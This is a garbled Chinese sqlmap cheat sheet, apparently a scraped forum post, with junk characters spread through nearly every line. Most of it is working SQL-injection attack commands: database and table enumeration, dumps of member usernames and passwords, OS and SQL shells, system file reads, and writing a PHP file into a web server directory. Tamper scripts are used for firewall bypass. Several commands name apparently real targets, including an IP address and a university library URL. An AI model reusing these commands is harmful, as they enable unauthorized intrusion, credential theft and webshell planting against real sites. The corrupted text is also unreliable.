/pentest/database/sqlmap" O1 ^' H8 y7 G8 N+ Y1 K
( H% @/ m3 ~# ^$ P, y# u$ e8 Cupdate :::::> in the folder after execute following order : svn update& J1 n% x2 D# ^+ B5 ?# P. u# w
' D* q3 L' t. ?+ i9 ]6 Dsqlmap.py -r 1.txt --current-db
( o. j0 f2 g) L2 C' r6 c4 k0 c* `: l% \
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py” m$ @* Q& ?( n& b R0 F
! \! X& S7 c% L5 H5 L- @7 V0 Z" U
==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) $ w. q) s8 b* @* i* T
猜解数据库
$ Q& t; p; F5 _8 t7 W$ M" f./sqlmap.py -u "injection-url" --dbs! b2 B1 B% J1 g3 t( u
sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py", V1 r D* g3 W/ s* A4 F1 H
8 g8 i5 ^. q* g- P
猜解表名9 Y& L4 P' ^$ _& t/ G1 R! l& }
./sqlmap.py -u "injection-url" -D database_name --tables
* D- \! Q) U9 T* c: P
4 x- f& w2 G, l) Csqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"
6 ]: p* s" }. L: n& s9 v5 \$ Usqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
) s1 z& I/ [/ ?# k' ^0 o! [0 s5 `5 O
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump1 T% j% X, O+ I2 R
% d; L; {0 A& X1 B- B4 c- v1 Jsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"/ G6 W# u9 E/ ]5 F- G
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
4 r) f" N( v+ p* {. Xsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" / q Y+ w& w1 `! G: p( D+ |
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"
3 u9 j8 E8 Y% g
( c6 L+ h" H$ D/ q% Usqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py": D+ J5 F5 S$ x# E0 j2 e f# }
sqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
7 W6 f0 t- P1 j* F o$ ]sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py", s" }6 G; g: _; g, m6 K
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"
! Y) E6 C- V# j: k0 f1 ?sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump$ Y: v( B0 |& S1 @
- c! z1 U8 I5 j4 Msqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了. J7 d- w- X; _8 b* l
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"' ^- I. b7 o a
2 Y0 r B; a x% D4 v. }. Xsqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
$ {8 Z6 b( J( U/ [猜解列名! m9 J: t5 b# l- A4 [6 a) w
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
$ z* K& C0 Q5 s$ |6 `& ?
* [; R/ S" ]7 L5 R; Y* `1 qsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" , t9 B/ R6 t' L! \
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
- c4 y" F9 r5 T1 @sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
5 n; r: T w3 P \2 N+ r2 G- ]
& M- }3 f& `& ]! G: qsqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"# D! o$ _2 R9 _. K! h2 P& I# X! N- |
&submit=Go
" p( s- _! K8 ?( ^! P. g猜解值
8 ^7 r: U! M! W H. D./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump; q p1 W/ m& ^) N1 H
========================================================
( N0 Z4 t7 h' O) |% T) }& U搜索表名中包括mana字符的" F. Y- S% g+ [) C! [) U' @
/sqlmap.py -u "injection-url" -T mana --search
5 B' f% ^8 g" w Q" \$ P返回一个交互式sql shell
5 k; Q ~, Q; M/sqlmap.py -u "injection-url" --sql-shell v# B% z: l L e0 S0 i8 W' ^
读取指定文件(需权限) ?3 F* @9 f |6 e- Z$ o5 l
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini", h1 V4 C: N7 f u
查看当前 用户 及 数据库 ( ?6 {) A" Q/ {" w q, [4 f2 f
/sqlmap.py -u "injection-url" --current-user --current-db# V) |! F+ w" Z$ S3 o6 J
本地文件 写入 远程目标绝对路径8 d7 V) h$ w. a) o& R
/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径8 H5 U2 D6 _8 U& g: ~ R
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py"
4 h! Z1 x$ \& c. U* L: F2 `; E1 \0 L$ Y! z7 |- Z& A- r: [! i2 ^5 E
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
: X* S# g y1 {. m% y) \查看某用的权限. [6 {% E7 w% E5 k
/sqlmap.py -u "injection-url" --privileges -U root
( ^$ C- I+ L# W1 Q4 C5 {, N% t' Y查看当前用户是否为dba" `* ] O, ?; i
/sqlmap.py -u "injection-url" --is-dba4 J! c+ T# s$ Y% E7 d" }
读取所有数据库用户或指定数据库用户的密码
s( ?5 w2 O z; X7 I x3 }% Lsqlmap.py -r 1.txt --users --passwords; j+ w0 O. [3 A9 f9 t* t% \ v) N% A
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py"
/ p: l) x% Z8 m; k+ u* t) B
2 _; |! m$ G0 h* ?7 e/sqlmap.py -u "injection-url" --passwords -U root
# `0 H! A9 ?2 j! [1 @! c8 K$ L) I) O/ R; ]" p; y0 t& b! z
--start&&--stop 与 --first&&--last 的区别
9 O9 T+ z# Q: ` c2 q/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)
3 m0 x! S4 }5 G8 X+ l; ?: z! M, m
1 z6 A; t' \) v+ h3 V' v从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
& P$ @0 S1 J% \) H5 H' \1 |; D' q/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
$ Y" x! Z" I$ o6 w+ i/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns6 \6 I3 G& j( `5 L j
/ a! u+ T7 h( D$ r& p( T执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……): `% G4 Y! w+ {' ?
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
" M2 Z0 i6 {; C! K# u
0 m$ S) ~% h1 m2 j& ^. D |